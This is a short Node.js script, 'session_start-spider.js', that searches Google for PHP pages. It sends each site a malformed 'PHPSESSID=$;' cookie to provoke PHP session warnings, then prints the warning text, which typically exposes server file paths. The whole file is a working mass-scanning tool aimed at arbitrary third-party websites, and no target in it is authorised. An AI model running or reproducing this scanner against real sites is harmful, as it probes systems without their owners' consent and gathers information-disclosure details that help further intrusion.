session_start-spider.js

var http = require('http'),
	url = require('url'),
	querystring = require('querystring');

search('filetype:php', 0, handler);

function handler(word, page, addreses) {

	var regex = /<b>warning<\/b>:\s*(.*?)<br \/>/mgi,

		counter = addreses.length-1;

	addreses.forEach(function(address) {

		request(address, null, {

			Cookie: 'PHPSESSID=$;'

		}, function(response) {

			var matches, 

				result = [],

				hostname = url.parse(address).hostname;
		
			while ((matches = regex.exec(response)))

				result.push(matches[1]);

			if (result.length) {

				console.log("[" + result.length + "]", hostname, "\n");
				console.log(result.join("\n\n"));

			} else {

				console.log("[0]", hostname);
			}

			if (!(counter--))

				search(word, ++page, handler);

		});

	});

}

function search(word, page, callback) {

	console.log('\n### page', page, "\n");

	var regex = /"\/url\?q=(.*?)"/g;

	return request('http://www.google.es/search', {

		q: word,
		start: Number(page) * 10

	}, null, function(response) {

		var matches, result = [];
	
		while ((matches = regex.exec(response)))

			if (!/googleusercontent/.test(matches[1]))

				result.push(matches[1]);

		callback(word, page, result);

	});

}

function request(address, data, headers, callback) {

	var key;

	address = url.parse(address);

	address.query = address.query || {};

	if (data && typeof data === 'object')

		for (key in data)

			address.query[key] = data[key];

	var options = {

		host: address.hostname,
		port: address.port || 80,
		path: address.pathname + '?' + querystring.stringify(address.query),
		method: 'GET',
		headers: (headers && typeof headers === 'object') ? headers : {}

	};

	return http.request(options, function(response) {

		var data = '';

		response.setEncoding('utf8');

		response.on('data', function(buffer) {

			data += buffer;

		}).on('end', function() {

			callback(data);

		});

	}).on('error', function() {

		callback('');

	}).end();

}